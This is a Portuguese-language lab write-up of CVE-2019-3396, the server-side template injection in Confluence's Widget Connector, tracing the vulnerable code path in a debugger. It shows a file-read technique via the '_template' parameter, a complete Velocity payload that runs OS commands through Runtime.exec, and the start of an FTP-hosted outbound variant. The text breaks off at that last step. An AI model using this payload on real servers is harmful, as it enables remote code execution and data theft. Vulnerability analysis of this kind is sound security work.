CVE-2019-3396

🔎 Informações principais:

• Produto afetado: Confluence Server & Data Center

• Versões afetadas: de 6.0.0 a 6.15.4

• Nível de gravidade: Crítico (CVSS ~9.8)

• Causa:

  • O Confluence possui o plugin Widget Connector (usado para incorporar vídeos, conteúdo externo como YouTube, Vimeo...).

  • Essa funcionalidade não controla adequadamente a entrada do usuário, resultando em Server-Side Template Injection (SSTI).

  • O atacante pode enviar payload malicioso → Confluence renderiza com Velocity template engine → executa código no servidor.

1. Instalação e inicialização do site

• Instalar a versão vulnerável, por exemplo 6.9.0:

https://www.atlassian.com/software/confluence/downloads/binary/atlassian-confluence-6.9.0.zip

• Seguir as etapas de configuração conforme o guia:

https://nguyendt.hashnode.dev/confluence-cve-2019-3396

• Após a instalação bem‑sucedida, encontraremos a interface:

2. Localização da vulnerabilidade e depuração (debug)

2.1 Localização da vulnerabilidade

• Conforme o POC, a funcionalidade vulnerável está no Widget Connector (usado para incorporar vídeos, conteúdo externo como YouTube, Vimeo...).
• Procurar por essa funcionalidade:

1. Clique em Other macros

2. Pesquise pela ferramenta de resolução Widget Connector

3. Insira o link e preencha as informações necessárias, depois clique em Preview

2.2 Configuração para depuração (Debug)

• Como a descrição menciona Widget Connector, vamos pesquisar na pasta de código fonte do Confluence

• Ler o arquivo .jar usando Intellij IDEA
• Colocar Breakpoint nos locais que processam a resolução do link e executar a depuração

Iniciar a depuração

• Iniciar a depuração e colocar breakpoint em com.atlassian.confluence.extra.widgetconnector.WidgetMacro.class
• Aqui vemos os parâmetros
• Chamar a classe DefaultRenderManager.class

• Aqui é usado o método getEmbeddedHtml()
• Retorna o código HTML para incorporar conteúdo externo (vídeo, widget, documento…) com base em uma URL inserida pelo usuário na página do Confluence
• A partir daí, chama o método YoutubeRenderer

• Entrar na classe YoutubeRenderer
• Neste método: getEmbeddedHtml(String url, Map<String, String> params)
• url → link original do YouTube inserido pelo usuário
• params → um mapa contendo parâmetros de configuração para a renderização (ex.: largura, altura, template usado para renderizar,…).

• Em seguida, chama getEmbedUrl(), setDefaultParam() e DefaultVelocityRenderService.render()
• Focar em setDefaultParam()

• Se não houver _template → atribui o template padrão como youtube.vm. => É possível adicionar _template manualmente ao programa

• Em seguida, entrar em DefaultVelocityRenderService.render()

1. Propósito do método

   • Recebe url + parâmetros params.

   • Usa o template Velocity (.vm) para renderizar HTML incorporado (iframe, embed, …).

2. Determinar o template

   • Se params contiver _template → usa esse template.

   • Senão → usa o padrão embed.vm.

3. Criar contexto padrão com MacroUtils.defaultVelocityContext().

• Colocar todos os parâmetros de params no contexto:

  • Se a chave = tweetHtml → mantém o HTML original.

  • Caso contrário → codificar com segurança usando GeneralUtil.htmlEncode().

• Adicionar urlHtml, width, height ao contexto (se vazio, atribuir 400 × 300 como padrão).

• Chamar VelocityUtils.getRenderedTemplate()

• Agora vamos para a classe VelocityUtils
• Na parte acima, chama getRenderedTemplate e getRenderedTemplateWithoutSwallowingErrors()

• Depois, continua chamando getTemplate()

• Aqui, templateName é o _template mencionado acima.

• Em seguida, chama VelocityEngine.Template()

• Na classe VelocityEngine, continua chamando RunimeInstance.getTemplate()

RuntimeInstance (núcleo do Velocity)
Este é o "coração" do Velocity Engine. Ele cuida de:

• Inicializar o engine (init)

• Gerenciar configuração, macros, parser, diretivas, event handlers…

• E especialmente: gerenciar recursos através do ResourceManager

→ Significa que RuntimeInstance não carrega recursos por conta própria, mas delega para o resourceManager.

• Depois, chama CompatibleVelocityResourceManager.getResource()

ConfigurableResourceManager (personalizado do Confluence)
Esta é uma implementação da interface ResourceManager.
Ela é responsável por:

• Gerenciar carregadores de recursos (file loader, classpath loader, URL loader…).

• Gerenciar globalCache (cache de templates por resourceKey).

• Realizar o carregamento/atualização de template (arquivo .vm) quando solicitado pelo RuntimeInstance.

try {
    this.refreshResource(resource, encoding);
} catch (ResourceNotFoundException var7) {
    this.globalCache.remove(resourceKey);
    return this.getResource(resourceName, resourceType, encoding);
}

• Quando um recurso está no cache, ele não é retornado imediatamente, mas sim chamado refreshResource(...).

• refreshResource compara o tempo da última modificação no disco com o do cache.

• Se o arquivo mudou → o recurso no cache é invalidado → recarregado do disco → cache atualizado.

👉 Portanto, não é necessário alterar resourceKey manualmente. O mecanismo de refresh garante que, quando o template muda, o cache também é atualizado.

Adicionar _template e reenviar a requisição

• Vemos a lista de instâncias de ResourceLoader (objetos já inicializados) no Velocity

• Aqui estamos interessados apenas em FileResourceLoader e ClasspathResourceLoader

1. Em relação ao FileResourceLoader

Chama StringUtils.normalizePath() para bloquear path traversal

• Conteúdo do normalizePath conforme a imagem

• Tente ler o arquivo /WEB-INF/web.xml e você verá que o arquivo foi carregado com sucesso.

• Mas ainda não é possível sair do diretório do Confluence porque o /../ está bloqueado.
• Continuar verificando o ClasspathResourceLoader

2. ClasspathResourceLoader

• Seguir até ClassUtils.getResourceAsStream

• Ele chama findResource() de /org/apache/catalina/loader/WebappClassLoaderBase.class

• Em seguida, chama super.findResource() que retorna uma URL, ou seja, o objeto pode ser obtido.

• Chama url.openStream() para obter os dados

• Finalmente, coloca os dados no resultado do Velocity.

• Se em casos reais não soubermos o caminho específico, podemos usar o esquema de arquivo do Java para obter a lista de diretórios

Com saída (outbound)

Payload executado

#set ($exp="test")
#set ($runtime=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null))
#set ($process=$runtime.exec("id"))
#set ($input=$process.getInputStream())
#set ($sc=$exp.getClass().forName("java.util.Scanner"))
#set ($constructor=$sc.getDeclaredConstructor($input.getClass().forName("java.io.InputStream")))
#set ($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if ($scan.hasNext())
  $scan.next()
#end

• Chama $runtime.exec("id") → executa o comando do sistema operacional "id" no Ubuntu.
• Iniciar um serviço FTP com o comando:

python3 -m pyftpdlib -p 2005

Executar: